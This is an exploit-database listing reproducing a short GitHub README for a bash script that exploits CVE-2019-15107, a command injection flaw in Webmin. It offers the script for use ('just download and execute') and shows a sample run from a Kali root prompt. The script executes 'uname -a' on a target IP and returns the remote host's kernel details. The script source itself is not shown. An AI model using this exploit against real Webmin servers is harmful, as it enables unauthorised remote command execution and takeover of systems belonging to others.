Sploitus

Exploit for OS Command Injection in Webmin

githubexploit · 2020-12-03

Exploit Code

README12 lines
## https://sploitus.com/exploit?id=27CE0A2A-D61E-5C2E-97BB-38E7BFC2038C
# CVE-2019-15107

This repo contains a small script in bash to exploit CVE-2019-15107 without using metasploit.
Use is pretty straightforward, just download and execute, no dependencies

```
root@kali:~# ./webmin-CVE-2019-15107.sh 10.10.73.185 'uname -a'
Error - Perl execution failed
Your password has expired, and a new one must be chosen.Linux source 4.15.0-108-generic #109-Ubuntu SMP Fri Jun 19 11:33:10 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

root@kali:~#```